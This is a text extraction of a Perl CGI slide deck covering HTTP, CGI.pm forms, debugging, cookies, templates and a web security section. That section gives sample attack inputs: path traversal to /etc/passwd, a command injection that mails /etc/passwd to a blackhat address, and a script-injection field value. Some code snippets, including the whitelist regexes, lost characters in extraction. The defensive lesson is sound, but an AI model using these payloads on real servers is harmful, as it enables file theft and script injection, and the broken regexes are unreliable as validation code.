This document provides an introduction to creating dynamic web pages using Perl and CGI (Common Gateway Interface). It covers the basics of HTTP requests and responses, how CGI allows programs to generate dynamic output for the web server, and using Perl and the CGI.pm module to write simple CGI programs. These programs can accept input from HTML forms, handle GET and POST requests, and produce various types of output like text, HTML and images. Debugging techniques are also discussed. The document concludes with a section on web security and potential vulnerabilities in CGI programs.

1. Introduction to Web Programming with Perl Dave Cross Magnum Solutions Ltd [email_address] http://mag-sol.com

3. The CGI Protocol

4. Creating Dynamic Pages with Perl

5. Getting Input from Forms

6. The CGI Module

8. Using Cookies

9. Using Templates

10. Further Information

11. HTTP

13. Requests and responses are clearly defined

14. Client makes a request

15. Server responds

17. Client is (usually) a web browser

18. Server is a web server

19. Client makes a request for a URL

20. Server responds with appropriate data

24. Server works out what data is required

25. Response includes status code and data

26. Response defines type of data that follows

28. Defines a resource on the internet

29. http://example.com/some/path

30. Static URLs usually map on to a file on the web server

31. This mapping is defined by the web server

32. CGI

34. Dynamic pages are more flexible

35. e.g. List of products + dynamic pages = Online shop

37. Developed 1995

39. Output from program returned to web server

41. Two common methods

44. All requests to this directory are CGI programs

45. ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

50. Call program

51. Return program output to browser

52. Perl and CGI

54. Most sysadmins used Perl a lot

55. Most CGI programs produce HTML

56. HTML is just a form of text

57. Perl is great for manipulating text

58. Many early CGI programs were written in Perl

60. Perl continues to be used in non-web areas

61. Other languages have also been used to write CGI programs

62. Some people still (incorrectly) assume that Perl and CGI are the same thing

66. Program prints a content-type header

67. Program prints data in the correct format

68. That's all you need to do

70. The web server does some work

71. Recognising CGI URL

72. Setting up environment

73. Calling program

74. Catching output

75. Adding headers

77. #!/usr/bin/perl print "Content-type: text/plain"; print scalar localtime;

78. Of course, that program could produce HTML instead

79. But putting HTML in Perl code looks untidy

81. It handles many areas of CGI programming

82. One of those is the production of HTML

84. Later we'll see an alternative method of separating HTML and Perl

86. Perl is good at processing other types of data too

87. Simply set the correct content type and produce output in the correct format

90. Tells browser how to interpret data

91. Browser knows to expect an image

92. Use in <img> tag

93. <img src='/cgi/pic'>

95. 200 means 'ok'

96. The web server is adding this to our CGI output

97. But we can override this in our CGI program

98. Include it in the header

101. 2xx – Success

102. 3xx – Redirection

103. 4xx – Client error

104. 5xx – Server error

106. Tell the browser to look elsewhere for the resource

107. 302 tells the browser where to find the resource it is looking for

109. Handling Input

111. CGI programs are far more flexible if they can accept input

113. Text input, radio buttons, checkboxes, selectors

114. All seem very similar when they get to your CGI program

118. Returns the value of the parameters passed to the program

119. Pass it the name of the parameter you are interested in

120. The name is the name of the HTML form input

122. my @params = param; foreach my $param (@params) { print p('Param ', b($param), ' is ', i(param($param))); }

124. The 'param' function handles this too

126. Drinks: <input type=&quot;checkbox&quot; name=&quot;drink&quot; value=&quot;beer&quot; /> Beer <input type=&quot;checkbox&quot; name=&quot;drink&quot; value=&quot;wine&quot; /> Wine <input type=&quot;checkbox&quot; name=&quot;drink&quot; value=&quot;coke&quot; /> Coke

127. Three inputs with the same name

128. What will 'param' do?

130. 'param' returns a space-separated string

131. $drinks = param('drink');

132. You can also get a list

133. @drinks = param('drink'); print join ', ', @drinks;

134. Perl calls this “context”

136. GET encodes the data in the URL

137. POST encodes the data in the request body

138. Define which method to use in the <form> element

139. Default value is GET

141. <form action=”...” method=”GET”>

142. Can be omitted

143. <form action=”...”>

144. Data in URL

145. http://localhost/cgi/handle_form2?name=Dave&sex=Male&drink=beer&drink=wine&drink=coke

146. Easy to debug

147. Easy to hack

149. <form action=”...” method=”POST”>

150. Data transmitted in HTTP request body

151. Not seen in URL

152. Harder to debug

153. Harder to hack

155. Both GET and POST parameters are accessed in the same way

156. 'param' handles both methods

157. Easy to swap between the two

159. No reason not to use 'param'

160. Some people still don't

161. Old code

162. Or code based on old code

164. You will see code like this

165. Do not use it

166. Simple CGI Summary

169. Calls CGI program

170. Output returned to browser

172. Input is either GET or POST

173. CGI program sees a series of name/value pairs

174. Debugging CGI

176. Here are some suggestions on tracking down problems

178. Help Perl to help you

181. #!/usr/bin/perl Print &quot;hello&quot;;

182. $ perl -c print String found where operator expected at print line 3, near &quot;Print &quot;hello&quot;&quot; (Do you need to predeclare Print?) syntax error at print line 3, near &quot;Print &quot;hello&quot;&quot; print had compilation errors.

184. Anything written to STDERR goes to error log

187. CGI::Carp does this

188. use CGI::Carp 'fatalsToBrowser';

189. Still a security hole

192. See exactly what requests and responses are being exchanged

193. LWP (from CPAN) includes the GET, POST and HEAD programs

198. Save

199. Replay

200. Web Security

202. Anyone connected to the internet can run your program

203. Not everyone out there is nice

204. Need to be sure your program is secure

206. Accepts a file as a parameter

207. Send the contents of the file to the browser

208. Here's a first attempt

211. Your server contains many files that outsiders shouldn't see

212. e.g. /etc/passwd

213. Now anyone on the internet can see a list of usernames on your server

217. Only files in that directory can be viewed

218. That's not true

219. We can use '..' to move up a directory

220. filename=../../etc/passwd

221. Still insecure

223. For example, a manual page viewer

224. Takes a page name from user input

228. Dangerous input

229. ls; mail dave@blackhat.com < /etc/passwd

231. We've done this before

232. What if the input includes Javascript?

233. name=Dave

234. name=Dave<script>alert(“Gotcha”)</alert>

235. Javascript can be dangerous

237. We trusted user input

238. Never trust your users

239. They are either malicious or stupid

240. Both options are dangerous to you

242. Don't trust any piece of data

243. Especially if you're sending it out of your program

244. Use whitelists to define valid data

245. Throw out anything that doesn't match

248. Therefore the filename can only contain certain characters

249. /^([]+)$/

250. “Word” characters and dots

251. No directory slashes

252. Anchors to match whole string

255. Unix commands consist of “word” characters

256. Use the word characters from the start of the input string

257. Ignore the rest

260. The Javascript is rendered harmless

261. Simplest, but harshest, approach

262. Maybe you want to allow some HTML

263. More complex parser required

264. Look at HTML::Scrubber

266. Programmers are fallible

267. Let Perl help you

268. Use “taint” mode

269. Add -T to your shebang line

270. #!/usr/bin/perl -T

272. All input is marked as tainted

273. Tainted data may not be sent outside of your program

279. use Scalar::Util 'tainted'; print 'Enter command: '; my $cmd = <STDIN>; chomp $cmd; print tainted($cmd) ? '' : 'Not ', &quot;Tainted&quot;;

281. As we did in our previous examples

282. ($cmd) = $cmd =~ /^(+)/; print tainted($cmd) ? '' : 'Not ', &quot;Tainted&quot;;

283. We extracted the data we wanted

284. $cmd is no longer tainted

286. Insecure $ENV{PATH} while running with -T switch at ./taint3 line 16, <STDIN> line 1.

288. Need to set it in the program

290. Just overwrite that with a known value

291. $ENV{PATH} = '/bin:/usr/bin:/usr/local/bin';

292. Perl is finally satisfied

294. This is definitely true of all CGI programs

295. Taint mode won't catch all problems

296. But it finds many issues that you might miss

297. Cookies

299. Each request/response exchange has no knowledge of previous ones

300. This makes writing complex web applications impossible

301. Shopping baskets (for example) need to maintain state

302. Cookies are a good way round this problem

304. Name/value pair

305. Associated with a domain and (optionally) a path

306. Can be set to expire

307. Web site sends cookie to browser

308. Browser sends cookie back to web server for that domain or path

310. Firefox: Preferences -> Privacy -> Show cookies

311. You will probably have a lot of cookies

312. Sites use them to track visitors

313. Some people block them for that reason

315. Used to both create and access cookie

316. Cookies need to be sent in the CGI header

317. Often the first thing to need to do

321. There are often two completely separate cookies in a program

322. One incoming, one outgoing

325. Write a cookie when the user logs in

332. Don't trust the browser

333. Don't store identifiable data in a cookie

334. Use a nondescript name

335. Store the real data on your server

336. Store a reference to data in cookie

337. Templates

339. Either hard-coded HTML or CGI.pm functions

340. This is fine for demos or simple programs

341. Can cause problems with larger projects

343. Code that works out what to display

344. Code that works out how to display it

346. Easier to have consistent look and feel

347. Easier to split work between designers and programmers

348. Easier to produce alternative views of data

350. Most people release their templating system to CPAN

351. Please don't do that

353. Text::Template

354. HTML::Template

355. HTML::Mason

356. Template Toolkit

357. Many more

358. I choose the Template Toolkit

360. Equally useful in web and non-web applications

362. Good Book Too

365. Determines outputs

366. Passes outputs to template processor

371. More Information

373. Skimmed over a lot of detail

374. Some ideas for other things to investigate

375. Other sources of information

377. CGI environment functions

378. Sticky fields

379. Multi-page forms

380. More complex HTML generation

381. See “perldoc CGI”

383. Perl starts up for every page visit

384. Doesn't scale well

385. Alternatives approaches

386. mod_perl

387. Embeds a Perl interpreter in Apache

388. Much faster and more flexible

390. Storing and retrieving data

393. Model (database)

394. View (templates)

395. Controller (logic)

396. MVC framework

397. e.g. Ruby on Rails

399. Most popular is probably Catalyst

400. DBIx::Class + Template Toolkit

401. See Matt Trout's Tutorial after lunch

403. http://tt2.org/

406. Any questions?

407. I'll be around all day